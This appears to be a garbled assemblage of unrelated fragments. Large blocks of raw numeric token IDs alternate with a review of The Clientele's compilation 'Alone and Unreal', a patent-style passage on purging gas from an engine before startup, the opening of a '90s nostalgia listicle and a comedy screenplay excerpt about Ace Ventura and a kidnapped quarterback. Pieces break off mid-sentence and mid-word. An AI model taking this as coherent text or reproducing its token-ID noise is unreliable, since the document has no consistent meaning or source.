1355, 594, 326, 2329, 275, 253, 6186, 14, 1094, 5048, 1057, 417, 4336, 1509, 949, 253, 2022, 19776, 9320, 15, 1099, 49039, 1916, 19906, 1422, 457, 250, 329, 26184, 4683, 380, 2802, 2270, 84, 187, 187, 1466, 457, 84, 2454, 352, 13, 2717, 27125, 253, 2802, 2270, 84, 2, 1244, 816, 984, 368, 497, 5686, 247, 9976, 390, 594, 3622, 13, 2506, 626, 1599, 368, 28729, 512, 273, 697, 591, 661, 15, 3856, 434, 247, 1618, 273, 752, 368, 8839, 1364, 4456, 281, 1908, 4834, 247, 686, 2270, 84, 5772, 15, 187, 187, 25698, 327, 187, 20266, 3307, 13, 4332, 13, 16703, 27, 2640, 25386, 187, 187, 1552, 310, 247, 3367, 13, 1327 ]

seen the light of day, and theyre all relatively so new, if you can call songs six to 15 years old new. (I guess it just seems like yesterday when I was first exposed to this band.) Even the new song, On a Summer Trail, was released last year as a single, so thats been out there and exposed. No need to talk about that song or the rest. They still stand on their own, and work well together in this round-up, making this seem like a new album of simply old material freshened up a bit. Invisible Ink I havent seen the sales figures, but The Clientele are reportedly more popular in the US than in the UK. I wondered about this, and recalled bands I thought played in the same idiom, and did in fact garner popularity in the UK, like Belle & Sebastian and The Chameleons. The Clientele are sometimes benignly described as pastoral, a descriptor that could be mistaken for meaning diffuse or even insipid. The Clientele are, in fact, quite dynamic, but dynamic in the sense of being beautiful proponents of the song; a Byrdsian quality of layered harmonies and chiming guitars. For instance, listen to Never Anyone But You, taken from Bonfires of the Heath, a really gorgeous pop song which recalls the 1960s, but only in the sense of being beholden to the melody, doe-eyed and uncynical. Here, The Clientele show themselves as romantics, teasing emotions that break down even the most hardened indie fan. However, back to their popularity in the U.S. While listening to this best of album, Alone and Unreal, a number of references decidedly American came to mind. The exquisite good vibrations of The Jayhawks, the wide eyed innocence of Davy Jones in the vocals (I Cant Seem To Make You Mine), and the delicate hushed tones of Joey Burns from Calexico (On A Summer Trail). I was also reminded of the sweet alt-country cadences of Jeff Tweedy and Wilco (The Queen of Seville). Alone and Unreal takes two tracks from the early singles collection, Suburban Light (Reflections After Jane and We Could Walk Together) early low-fi and unapologetically mellow tracks which veer towards the urbane in effect, but unpolished in execution. The deeply recessed and echoey ambience almost seems a contrivance. They are however, sweet pop songs. Missing is lifted from The Violet Hour, and The Clientele are beginning to sharpen their hooks. Strange Geometry from 2005 contributes the next three tracks. The songwriting finesse was well in evidence by then, almost deliriously on Since K Got Over Me the vocals more confident, more strident and forward in the mix, and the harmonies are flawless. The guitars chimes like R.E.M circa Gardening at Night. By Bookshop Casanova on God Save The Clientele, the band were comfortably in their own niche, having long etched a professional pop sound distinctly theirs alone. Unreal. Soundblab This Best Of is mere affirmation of genius - 5/5 Mojo Superior bittersweet pop - 4/5 Q Magazine The Clientele The Clientele formed a long time ago in the backwoods of suburban Hampshire, playing together as kids at school, rehearsing in a thatched cottage remote from any kind of music scene, but hypnotised by the magical strangeness of Galaxie 500 and Felt, and the psych pop of Love and the Zombies. During a pub conversation the band collectively voted that it was OK to be influenced by Surrealist poetry but not OK to have any shouting or blues guitar solos. From that moment on they put their stamp on a kind of eerie, distanced pure pop, stripped to its essentials and recorded quickly to 4 track analogue tape. These recordings were released as lovingly packaged 7 singles at the tail-end of the 90s, and compiled as the millennium ended into the debut album, Suburban Light, now hailed as one of the finest records of the decade. From the faded pop art of Suburban Light came a move into the fog with the 2nd LP, The Violet Hour, released in 2003. An attempt to create a deeper, more mysterious sound, it was an archetypal Clientele record: hypnotic, self-enclosed, meticulously creating its own world. The Clientele re-invented their music with Strange Geometry (2005) and God Save the Clientele (2007); Brian O Shaughnessy (My Bloody Valentine, Primal Scream) and Mark Nevers produced, and El Records legend Louis Philippe provided typically gorgeous string arrangements. The sound was bigger, brighter, and clearer, MacLean s ringing, classically-influenced guitar style and James Hornsey s melodic bass combining to create a different kind of depth and atmosphere for the newly sparkling songs, which now came complete with crossover appeal; incongruously, one of them even featured in the Keanu Reeves / Sandra Bullock weepie, "The Lake House". Bonfires on the Heath (2009) is in a sense a return to the Clienteles roots; the dreamlike suburban landscapes first encountered in the early singles, their trippy sense of menace stronger now. Back in London, theyve drawn on older traditions of English folk, which exist here side-by-side with the band's more familiar bossa and pop elements, creating a timeless eeriness. Its often said the best bands create their own sound; the Clientele have gone one further and created an entire world.In a precombustion-chamber type lean premixed gas internal combustion engine (hereinafter, referred to in short as a gas engine), there is a starting method adopting slow air turning, in which compressed air (not comprising fuel gas) is introduced into cylinders to rotate a gas engine before starting an air starting device, for the purpose of checking the inside of the cylinders, securing lubrication of the sliding surfaces of the cylinders and pistons that slide inside the cylinders, and reducing the preparation work before starting. In a gas internal combustion engine that performs slow air turning, compressed air that is used during slow air turning and until startup of the engine using compressed air (not comprising fuel gas) is performed subsequently to slow air turning performs the role of exhaust purge before startup of the gas engine. However, to secure supply and safety of the fuel gas for the gas engine, a variety of devices, valves, and the like, are provided, from which unpredictable leakage of the fuel gas may occur. Fuel gas having leaked from the above devices, valves, and the like may flow to and accumulate in the gas engine, an exhaust channel, and the like. If the gas engine is switched to fuel-gas ignition startup under such a condition, the accumulating fuel gas undergoes abnormal combustion and damages the gas engine, the exhaust channel, and the like. Patent Document 1 discloses performing a dry-air injecting block of injecting dry air into an intake channel and a cranking block of igniting and combusting air-fuel mixture with a spark plug and starting rotation of an output shaft of a gas engine after the dry-air injecting block. As a result, if the gas engine is started, dry air is injected into an air-supply channel before operation of the spark plug, which reduces the absolute humidity inside the intake channel. Thus, if the spark plug operates for the first time after startup, air with low humidity is supplied into a combustion chamber. Accordingly, the surface of electrodes of the spark plug is less likely to get moist, which makes it possible to maintain good insulation resistance between the electrodes, so that the spark plug generates sparks normally and misfire is prevented. Further, in Patent Document 1, pre-purge, which is to discharge remaining gas in a combustion chamber to the outside via the exhaust channel, is performed. At this time, the first injector, the second injector, and the spark plug are maintained to be shut down. An injection switch valve closes and a starter inlet valve opens. As a result, a starter motor starts to operate and a flywheel is driven to rotate together with an output shaft. Then, the pistons reciprocate without the air-fuel mixture undergoing ignition combustion. In this way, intake valves and exhaust valves are driven by the output shaft, performing opening/closing motion in accordance with the stroke of the pistons. As the reciprocating motion of the pistons is repeated, the remaining gas in the combustion chamber is forced out to the exhaust channel. Instead, dry air is supplied to a main combustion chamber and a precombustion chamber from the intake channel. In this way, it is possible to ventilate the inside of the main combustion chamber and the precombustion chamber with dry air, which makes it possible to prevent non-combusted gas or soot from being incorporated into air-fuel mixture if the air-fuel mixture undergoes ignition combustion for the first time upon startup. The reciprocating motion of the pistons is repeated a certain number of times that is sufficiently large to discharge gas from the main combustion chamber and the precombustion chamber and that is sufficiently small so that air in the supply-air channel does not completely pass through the main combustion chamber.25 Ways To Tell You’re A Kid Of The ‘90s Let’s face it, nothing beats the ‘90s! And just because you were born a decade or so ago, doesn't mean you embraced all of its perks. Here's a list of what you absolutely must remember to consider yourself a '90s kid. Posted on August 22, 2011, 04:02 GMT This is a personal, non

[ 7095, 521, 1481, 562, 969, 15, 1583, 5310, 969, 15, 37667, 1863, 19085, 745, 253, 3971, 715, 21478, 8021, 53, 15, 367, 18004, 428, 39045, 37667, 434, 1113, 924, 13539, 949, 270, 44404, 285, 7180, 15, 2635, 352, 892, 2824, 689, 247, 1643, 2069, 285, 13446, 327, 697, 17727, 342, 247, 3499, 6992, 9947, 14194, 15, 37667, 310, 1335, 3405, 1882, 715, 253, 10865, 7319, 13, 22382, 15, 37667, 434, 2235, 4337, 7245, 12752, 367, 2431, 38, 1139, 13446, 327, 253, 1113, 3369, 987, 12200, 779, 15, 37667, 30611, 521, 2927, 285, 11403, 253, 12621, 15, 2635, 13, 342, 247, 5982, 3158, 19749, 463, 344, 8379, 30678, 352, 275, 521, 3564, 13, 285, 7740, 84, 512, 670, 2398, 2610, 15, 29376, 309, 858, 352, 2, 309, 858, 352, 2, 309, 7270, 253, 3168, 8393, 33453, 2, 309, 7270, 253, 3168, 8393, 33453, 2, 37667, 27287, 562, 273, 521, 1113, 285, 7866, 42654, 1475, 253, 5603, 342, 253, 8393, 33453, 2918, 1029, 689, 521, 1481, 15, 754, 4453, 24812, 15, 29376, 313, 34053, 8, 37, 10, 313, 4093, 272, 10, 309, 7270, 253, 3168, 8393, 33453, 13, 309, 7270, 253, 3168, 8393, 33453, 13, 309, 7270, 253, 3168, 21478, 37667, 49133, 1066, 285, 9513, 281, 1007, 1475, 2137, 1031, 15, 1707, 403, 1024, 271, 11555, 1180, 273, 11260, 591, 2147, 327, 253, 11265, 20343, 1475, 253, 5603, 285, 327, 253, 28005, 8965, 13, 285, 327, 253, 42534, 15, 380, 8467, 17202, 28170, 15, 754, 7808, 7819, 285, 14177, 281, 755, 896, 281, 253, 1113, 15, 1876, 253, 11260, 1379, 8630, 15, 37667, 5239, 253, 3168, 8393, 33453, 1959, 285, 7866, 281, 1408, 13, 533, 352, 434, 1512, 3563, 15, 380, 11260, 403, 327, 779, 15, 3586, 777, 272, 13, 285, 305, 529, 272, 13, 285, 4172, 2784, 521, 15447, 15, 3954, 359, 923, 3578, 11260, 12060, 1977, 342, 247, 1791, 15, 14263, 11260, 12060, 1977, 342, 271, 4430, 15, 19388, 2571, 403, 2820, 281, 1379, 37667, 434, 1669, 4430, 745, 13, 285, 2716, 521, 2454, 310, 5816, 21478, 29376, 329, 14587, 17162, 17520, 17520, 17520, 17520, 17520, 41, 15844, 330, 3329, 5935, 27, 8021, 53, 15, 367, 18004, 428, 39045, 37667, 310, 896, 275, 521, 24028, 264, 1113, 342, 521, 4430, 14203, 562, 253, 3497, 15, 329, 1355, 5006, 310, 14252, 352, 15, 20466, 58, 18793, 278, 2131, 15, 18793, 278, 2131, 15, 37667, 1705, 281, 8423, 13, 285, 4453, 387, 253, 5006, 342, 247, 8034, 4337, 2048, 15, 20466, 58, 313, 34053, 8, 37, 10, 2064, 369, 247, 1663, 18176, 13035, 13, 278, 2131, 15, 3166, 352, 969, 2, 37667, 256, 21144, 342, 6619, 15, 8021, 53, 15, 16432, 2300, 42, 428, 39045, 25838, 27815, 4352, 253, 3668, 9572, 27, 346, 35938, 48868, 611, 1838, 1322, 4785, 1703, 3, 346, 45897, 39580, 353, 16808, 2637, 3, 346, 37, 1539, 17242, 17003, 8702, 865, 3003, 443, 8372, 8998, 40526, 15348, 27, 346, 35938, 48868, 329, 8561, 54, 1647, 1703, 9149, 6589, 42, 1400, 7499, 1539, 2775, 19433, 1476, 1623, 253, 3835, 13, 2398, 2610, 9572, 342, 2067, 11122, 14355, 561, 275, 5842, 12317, 15, 8021, 53, 15, 32504, 8875, 3915, 6570, 428, 35004, 947, 16093, 39045, 329, 29784, 2315, 8059, 15, 1503, 408, 621, 273, 5689, 28303, 4827, 52, 11557, 512, 9351, 273, 3533, 387, 34120, 27721, 15, 5689, 28303, 4827, 22389, 13, 452, 627, 644, 667, 46091, 11684, 32, 444, 1042, 41, 35064, 1707, 434, 644, 642, 5511, 342, 253, 21064, 1212, 398, 387, 436, 673, 15, 5689, 28303, 4827, 1852, 19, 1737, 434, 1469, 281, 5108, 281, 253, 6053, 19466, 32, 7395, 352, 320, 44866, 32, 444, 1042, 41, 35064, 1284, 273, 1024, 13, 253, 2165, 310, 1469, 327, 347, 11526, 15, 5689, 28303, 4827, 1852, 20, 6049, 3589, 626, 253, 1345, 2183, 670, 18724, 1258, 640, 434, 39721, 32, 444, 1042, 41, 35064, 1023, 719, 951, 369, 5667, 15, 844, 1904, 626, 971, 667, 1345, 11689, 15, 5689, 28303, 4827, 6272, 253, 12137, 2905, 32, 1244, 752, 670, 19528, 20361, 1434, 434, 7701, 32, 444, 1042, 41, 35064, 309, 1353, 7016, 15, 309, 476, 626, 4385, 667, 2007, 15, 3954, 604, 368, 1833, 16267, 479, 15, 34120, 27721, 32804, 617, 1039, 949, 253, 9539, 273, 16817, 15, 26191, 15, 32504, 8875, 3915, 6570, 428, 353, 2277, 24937, 35004, 947, 34120, 27721, 310, 21939, 272, 562, 7367, 281, 643, 23247, 347, 703, 9851, 323, 617, 3906, 15, 444, 1042, 41, 35064, 4825, 33364, 13, 755, 479, 253, 37563, 327, 20361, 1434, 2, 42535, 3377, 13, 5007, 562, 247, 29054, 15, 1621, 581, 12088, 281, 253, 2315, 21478, 26191, 15, 444, 1042, 41, 35064, 8, 52, 21890, 8875, 428, 34523, 1042, 54, 27832, 37457, 444, 1042, 41, 35064, 16141, 19675, 1898, 11853, 755, 479, 247, 5500, 273, 8574, 2, 29376, 313, 12101, 4300, 1209, 434, 4318, 10, 43935, 327, 346, 6402, 2300, 42, 657, 8875, 995, 13198, 777, 3592, 3471, 1507, 253, 12145, 8574, 2, 37667, 310, 275, 617, 3906, 13, 42084, 5101, 33179, 12922, 13, 29048, 896, 15, 34120, 27721, 16771, 281, 617, 3055, 15336, 15, 444, 1042, 41, 35064, 23780, 5650, 13, 672, 309, 755, 562, 273, 436, 15336, 13, 368, 1805, 320, 4783, 15, 29376, 1680, 352, 1180, 581, 390, 1180, 767, 32, 34120, 27721, 7819, 285, 1289, 4420, 387, 37667, 15, 29376, 309, 816, 971, 281, 871, 849, 1199, 673, 309, 452, 15, 34120, 27721, 4566, 281, 253, 16338, 285, 9513, 17392, 617, 3564, 15, 29376, 5531, 13, 407, 253, 1039, 13, 309, 2427, 6386, 285, 14042, 326, 27246, 4742, 13, 18724, 1258, 640, 16, 20411, 1434, 16, 9709, 2610, 2181, 15, 444, 1042, 41, 35064, 313, 48, 15, 52, 2698, 313, 18256, 4263, 779, 10, 5531, 10902, 32, 29376, 10902, 13, 2455, 4089, 273, 247, 3438, 399, 41178, 8386, 254, 4907, 10734, 401, 22064, 32, 380, 1824, 6294, 84, 745, 15, 34120, 27721, 4620, 1475, 253, 7145, 15, 444, 1042, 41, 35064, 1219, 918, 13, 23780, 5650, 15, 10338, 352, 3158, 15, 29376, 309, 1119, 247, 7520, 8805, 387, 253, 5004, 273, 18724, 1258, 640, 434, 11100, 15, 733, 434, 432, 247, 399, 41178, 686, 3507, 329, 6739, 11218, 5818, 15, 733, 651, 452, 644, 247, 6053, 19466, 5818, 13, 533, 10734, 401, 22064, 9829, 253, 1943, 8386, 15, 2071, 1443, 253, 2644, 2181, 327, 2398, 2610, 15, 844, 1472, 5015, 46197, 13, 1448, 316, 1593, 49697, 15, 309, 3047, 253, 5599, 434, 2316, 21478, 2434, 3847, 13, 604, 368, 1472, 32766, 34300, 418, 7720, 15, 444, 1042, 41, 35064, 1893, 849, 1057, 19528, 20361, 1434, 4944, 275, 32, 29376, 2752, 5476, 310, 401, 22064, 369, 256, 2369, 18225, 1475, 15, 20361, 1434, 7478, 779, 15, 8072, 273, 2926, 15, 1284, 323, 18724, 1258, 640, 21478, 597, 3534, 779, 401, 22064, 434, 1180, 13, 285, 10256, 779, 849, 281, 8386, 247, 1673, 4736, 15, 401, 22064, 2335, 352, 11697, 15, 34120, 27721, 1618, 561, 342, 1270, 1600, 15, 444, 1042, 41, 35064, 1893, 835, 310, 401, 22064, 13, 1024, 32, 29376, 754, 9377, 562, 273, 247, 5148, 4675, 15, 10348, 247, 39107, 21398, 265, 15, 754, 434, 644, 7219, 521, 25442, 323, 1107, 15, 21050, 272, 323, 253, 3962, 673, 281, 755, 896, 387, 253, 399, 35706, 15, 380, 673, 672, 352, 651, 8513, 731, 253, 954, 15, 6053, 19466, 673, 2, 3083, 13, 309, 1353, 11870, 273, 1146, 987, 2, 34120, 27721, 16771, 275, 2914, 285, 17954, 327, 253, 5024, 273, 253, 8597, 15, 1500, 434, 9106, 39451, 617, 1471, 28062, 15, 444, 1042, 41, 35064, 4731, 37230, 15, 1422, 1849, 2218, 690, 4030, 25660, 789, 13, 37667, 15, 29376, 329, 12155, 13, 812, 368, 2312, 275, 619, 1175, 2472, 15, 309, 1869, 309, 3735, 368, 1067, 479, 37667, 15, 34120, 27721, 4850, 1524, 2810, 15, 444, 1042, 41, 35064, 8948, 309, 369, 3430, 670, 368, 15, 8948, 368, 403, 625, 685, 816, 247, 7590, 33702, 15, 36722, 322, 7273, 42917, 12715, 11188, 5656, 52, 329, 6908, 43, 1372, 13, 308, 35427, 3077, 39597, 1539, 2637, 13, 41631, 353, 2185, 3886, 1703, 611, 16808, 8160, 29376, 15, 44844, 403, 19336, 745, 253, 8597, 347, 597, 9644, 896, 15, 29376, 5402, 5654, 434, 28063, 715, 619, 13290, 15, 3010, 35945, 13, 253, 37667, 14545, 15, 444, 1042, 41, 35064, 313, 23350, 3551, 327, 10, 1737, 434, 3430, 13, 37667, 32, 29430, 479, 281, 1239, 368, 634, 3570, 32, 29376, 8948, 1996, 15, 444, 1042, 41, 35064, 1737, 310, 352, 32, 2064, 45861, 1652, 23331, 13, 38994, 17453, 32, 29376, 313, 1545, 3134, 10, 1621, 15, 1422, 816, 1053, 626, 513, 2712, 323, 479, 15, 754, 4541, 4575, 84, 521, 260, 8601, 348, 13, 281, 26037, 253, 299, 15831, 15, 34120, 27721, 10687, 84, 342, 247, 49145, 8580, 15, 444, 1042, 41, 35064, 309, 1833, 320, 1060, 604, 368, 2455, 971, 247, 1524, 3416, 15, 1707, 434, 247, 9479, 611, 47, 9466, 387, 253, 3369, 15, 444, 1042, 41, 35064, 1737, 310, 352, 32, 42535, 3377, 13279, 253, 3369, 15, 13145, 54, 2350, 48, 16942, 8261, 275, 1060, 32, 754, 472, 690, 764, 5011, 15, 444, 1042, 41, 35064, 25913, 13, 28150, 15, 13145, 54, 2350, 48, 1422, 971, 479, 281, 4710, 779, 562, 32, 444, 1042, 41, 35064, 6049, 1053, 626, 368, 4710, 4834, 562, 15, 13145, 54, 2350, 48, 16141, 19675, 4374, 13, 6429, 8, 312, 15, 329, 30402, 12615, 257, 42535, 3377, 39852, 15, 37667, 9851, 323, 253, 3369, 15, 444, 1042, 41, 35064, 37667, 13, 309, 971, 368, 281, 3553, 3253, 281, 441, 15, 29376, 2615, 626, 513, 326, 13, 22389, 15, 309, 369, 14565, 281, 1089, 18724, 1258, 640, 15, 444, 1042, 41, 35064, 2091, 359, 1089, 2398, 2610, 13, 844, 1833, 7257, 18724, 1258, 640, 15, 29376, 2091, 309, 1089, 18724, 1258, 640, 13, 309, 1833, 7257, 2398, 2610, 15, 754, 39852, 15, 26191, 15, 12248, 34, 16636, 2277, 428, 427, 9981, 329, 2120, 327, 7635, 1225, 5148, 3961, 310, 33852, 272, 327, 3924, 15, 29219, 26416, 32251, 715, 253, 15039, 2027, 8483, 15, 380, 1072, 19941, 483, 310, 1335, 7635, 3834, 521, 1481, 32251, 281, 253, 3440, 15, 29376, 313, 1200, 20309, 10, 29902, 281, 923, 368, 969, 2, 380, 19941, 483, 816, 11359, 7635, 3834, 15, 37667, 13977, 9002, 17764, 7487, 253, 3961, 285, 27022, 779, 15, 25069, 3519, 1267, 9466, 659, 15, 7980, 13, 849, 434, 352, 564, 249, 46146, 29376, 313, 76, 17270, 10, 2064, 434, 5293, 273, 634, 15229, 2136, 15, 25069, 3519, 1267, 9466, 36026, 626, 352, 32, 29376, 1680, 352, 32, 25069, 3519, 1267, 9466, 33571, 747, 327, 326, 277, 41178, 32, 29376, 21979, 521, 5406, 327, 690, 246, 9821, 34208, 13, 533, 2717, 594, 2080, 15, 329, 16057, 16636, 15286, 327, 3924, 15, 754, 7835, 751, 247, 22630, 23585, 2120, 273, 2624, 77, 1771, 15, 322, 2637, 947, 1780, 287, 1368, 47911, 12155, 73, 2, 2752, 2676, 287, 80, 1368, 72, 47626, 2, 443, 2771, 80, 462, 12155, 73, 2, 25069, 3519, 1267, 9466, 1893, 13, 752, 476, 309, 513, 323, 368, 3063, 32, 29376, 309, 878, 8692, 327, 247, 5842, 892, 3938, 90, 4907, 10734, 401, 22064, 15, 25069, 3519, 1267, 9466, 26070, 13, 37667, 13, 309, 476, 626, 1361, 368, 987, 1024, 15, 309, 17500, 3698, 436, 3961, 2, 1583, 403, 253, 10739, 2, 29376, 6272, 597, 32, 25069, 3519, 1267, 9466, 329, 445, 626, 597, 32, 29376, 1219, 918, 840, 15, 5037, 626, 7664, 670, 352, 15, 309, 1599, 277, 35706, 6403, 626, 4555, 271, 31281, 3417, 15, 733, 434, 417, 751, 253, 2644, 2739, 5931, 434, 6501, 320, 5876, 604, 581, 4122, 17497, 11783, 267, 9778, 247, 3468, 285, 16592, 2471, 2, 17358, 13, 604, 253, 3961, 310, 11216, 2217, 13, 368, 1912, 626, 1014, 4089, 697, 8483, 4552, 41750, 35025, 4672, 37667, 1057, 521, 1682, 9958, 277, 41178, 13214, 15, 9002, 17764, 310, 642, 3356, 18262, 253, 3961, 15, 330, 3329, 5935, 27, 26191, 15, 19253, 17260, 428, 427, 9981, 9002, 17764, 310, 387, 521, 4382, 15, 37667, 4453, 689, 521, 9215, 15, 401, 22064, 434, 8404, 9044, 1491, 4620, 327, 253, 3601, 15, 25069, 3519, 1267, 9466, 831, 5599, 434, 1390, 2361, 6021, 369, 4397, 13, 13563, 15, 29376, 6089, 840, 15, 844, 871, 344, 434, 16088, 7635, 338, 555, 15, 25069, 3519, 1267, 9466, 1680, 344, 32, 29376, 36026, 626, 344, 32, 9002, 17764, 3510, 275, 625, 1491, 15, 401, 22064, 434, 7500, 56 ]

okes his head out again. They shoot again. Ace swerves off the road into� EXT. PARK - DAY Ace's car smashes through benches and tables. Then it flips over a few times and lands on its wheels with a horrid SMASH. Ace is still strapped into the drivers seat, unconscious. Ace's prized WHITE PIGEON lands on the car door right beside him. Ace cracks his eyes and sees the bird. Then, with a sudden quick lunge he successfully traps it in his hands, and forgets all about Marino. ACE I did it! I did it! I caught the white pigeon! I caught the white pigeon! Ace jumps out of his car and starts skipping around the park with the pigeon held high over his head. He looks insane. ACE (CONT'D) (singing) I caught the white pigeon, I caught the white pigeon, I caught the white� Ace slows down and begins to look around warily. There are now an unusual number of birds perched on the telephone wires around the park and on the monkey bars, and on the swings. The sky grows darker. He slowly turns and tries to get back to the car. All the birds take flight. Ace sets the white pigeon free and starts to run, but it's too late. The birds are on him. Pecking, and gouging, and ripping his flesh. Now we see ten birds flying away with a leg. Five birds flying away with an arm. Twenty others are trying to take Ace's left arm off, and half his face is missing� ACE AAAAAAAAAAHHHHHHHHHHHH!!! CUT TO: EXT. PARK - DAY Ace is back in his wrecked car with his arm hanging out the window. A small boy is pulling it. BOY Hey mister. Hey mister. Ace come to suddenly, and looks at the boy with a crazed expression. BOY (CONT'D) That was a really neat crash, mister. Do it again! Ace sighs with relief. EXT. MIAMI - DAY Various headlines hit the news stands: "MARINO KIDNAPPED" "STAR QB MISSING" "DAN WHERE ARE YOU?" THE GLOBE HEADLINE: "MARINO ABDUCTED BY ALIEN FRANCHISE!" On the cover, Marino stands with several Space Aliens in football gear. EXT. POLICE STATION - LATER THAT DAY A chaotic press conference. Zillions of REPORTERS shout all kinds of questions at Einhorn. REPORTER Lieutenant, have there been any ransom demands? EINHORN There's been no communication with the kidnappers at this time. REPORTER #2 What's going to happen to the Super Bowl? Will it be postponed? EINHORN As of now, the game is going on as scheduled. REPORTER #3 Why wasn't the public told about Snowflake's kidnapping? EINHORN Secrecy was essential. We didn't want any public interference. REPORTER Are the crimes related? And what about Roger Podacter's murder? EINHORN I'm sorry. I can't comment any further. Now if you'll excuse me. Einhorn pushes her way through the crowd of reporters. INT. POLICE STATION - MOMENTS LATER Einhorn is barking out orders to other cops as she heads for her office. EINHORN Emilio, get me the autopsy on Podacter! Aguado, send out a memo. No one talks to the press� INT. EINHORN'S OFFICE - CONTINUOUS ACTION EINHORN �And somebody get me a cup of coffee! ACE (TV announcer's voice) Tonight on "MIAMI VICE", Crockett geets the boss coffee! Ace is in her office, popping sunflower seeds, kicking back. Einhorn walks to her private bathroom. EINHORN Ventura, when I get out of this bathroom, you better be gone. ACE Is it number one or number two? Einhorn turns and glares at Ace. ACE I just want to know how much time I have. Einhorn goes to the sink and begins washing her hands. ACE Oh, by the way, I went ahead and solved that pesky, Snowflake/Podacter/Marino thing. EINHORN (O.S.) (humoring him) Oh yeah? ACE yeah, ever hear of a former Dolphin kicker named Ray Finkle? The water shuts off. Einhorn appears around the corner. EINHORN Alright, Ventura. Make it quick. ACE I found a rare stone at the bottom of Snowflake's tank. It's from a Dolphin '82 AFC Championship ring. It would have been a Super Bowl ring, but Ray Finkle missed the big kick. Blames the whole thing on Marino. We're talking paranoid, delusional psychosis. I saw the guy's room� Cozy, if you're Hannibal Lector. EINHORN So how does Roger Podacter fit in? ACE My guess is Finkle was snooping around. Podacter recognized him. End of story. As for Snowflake� they gave him Finkle's number, and taught him how to kick a field goal. Finkle took it personally. Einhorn listens with great interest. EINHORN So where is Finkle, now? ACE He broke out of a metal hospital. Did a Claude Raines. He's been planning his revenge for years. Waiting for the perfect time to get back at the Dolphins. The time when it would hurt them the most. Super Bowl time! Man, I'm tired of being right! Einhorn walks in front and sits on the edge of the desk. She's totally softened her demeanor. EINHORN Congratulations. You've done some fine detective work, Ace. ACE Ahh, could you talk in my good ear. I thought I heard you call me Ace. Einhorn gets real close. EINHORN Maybe I was wrong about you. Maybe you are more than just a pet dick. SHE SUDDENLY PLANTS A MAJOR, TONSIL CLEANING, OPEN MOUTHED KISS ON ACE. Objects are knocked off the desk as they lean back. ACE Your gun's digging into my hip. More kissing, the Ace stops. EINHORN (still coming on) What's wrong, Ace? Want me to read you your rights? ACE Maybe later. EINHORN What is it? That bony little bitch, Melissa Robinson? ACE (defensive) No. You just don't do anything for me. He quickly adjusts his crotch, to conceal the erection. Einhorn withdraws with a coy smile. EINHORN I'll be here if you ever want a real woman. There's a sharp KNOCK at the door. EINHORN What is it? Aguado opens the door. AGUADO Everything okay in here? Heard some commotion. EINHORN Fine, Sergeant. AGUADO You want me to throw him out? EINHORN Why don't you throw yourself out. AGUADO �Yes, ma'am. A crestfallen Aguado exits. Ace heads for the door. EINHORN Ace, I want you to leave everything to us. ACE Can't do that, Lieutenant. I was hired to find Snowflake. EINHORN When we find Marino, We'll deliver Snowflake. ACE When I find Snowflake, I'll deliver Marino. He exits. INT. TEA ROOM - NIGHT A full on thrash metal band is cranking on stage. Kids leap wildly into the moshing pit. The same Burnout is still thrashing his head wildly to the music. ACE (shouting) Nice to see you again! The Burnout just keeps thrashing. Ace spots Woodstock watching the band and joins him. WOODSTOCK St. Francis, how's it goin'? ACE (kidding) That's none of your damn business. WOODSTOCK Isn't it? ACE Is it? WOODSTOCK Anything new on that dolphin? ACE Got his picture on some tuna cans, but nothing so far. A singer ROARS on stage. He sounds like a garbage disposal full of cutlery. SINGER Arroohhghhh! Myrrrooohghhhh! Geroooghhh! WOODSTOCK So, what can I do for you today? ACE I need info on a football flunky named Ray Finkle. WOODSTOCK Sorry, Ace, I can't help you right now. I gotta watch this band! They are the shit! ACE Are they? WOODSTOCK Aren't they? ACE Alright then. Don't worry about it. I mean dolphins aren't exactly an endangered species. It's not like the whole food chain's gonna be affected if one highly intelligent mammal dies a slow and painful death! Hell, if the band is loud enough, you won't even hear its pitiful whimpering!! Ace does his best suffering dolphin impression. Woodstock is no longer enjoying the band. CUT TO: INT. BASEMENT - NIGHT Woodstock is at his computer. Ace looks over his shoulder. Finkle's Social Security information appears on the screen. WOODSTOCK This guy's last reported income was September, 1982. ACE Well then. We know he's incredibly thrifty. WOODSTOCK Is he? ACE Isn't he? Woodstock types in more information. Finkle's TRW

[ 2237, 1320, 64, 3409, 15, 6342, 31090, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 1178, 64, 6342, 64, 1664, 9, 55, 76, 34552, 31090, 2914, 64, 1664, 10, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 6342, 31090, 426, 2914, 64, 1664, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 498, 1301, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 2019, 1301, 27265, 426, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16719, 64, 498, 1301, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 2019, 1301, 27265, 426, 657, 44, 64, 33814, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 12722, 13218, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 83, 2237, 6081, 21831, 472, 27265, 426, 657, 44, 64, 33814, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 12722, 13218, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 83, 2237, 6081, 21831, 472, 27265, 426, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 39043, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 27265, 426, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 39043, 9, 9599, 3638, 64, 19012, 13, 187, 50254, 50254, 50266, 9599, 23722, 13, 187, 50254, 50254, 50266, 9599, 14679, 64, 19012, 10, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 29080, 17070, 426, 3638, 64, 19012, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 2019, 1301, 426, 23722, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 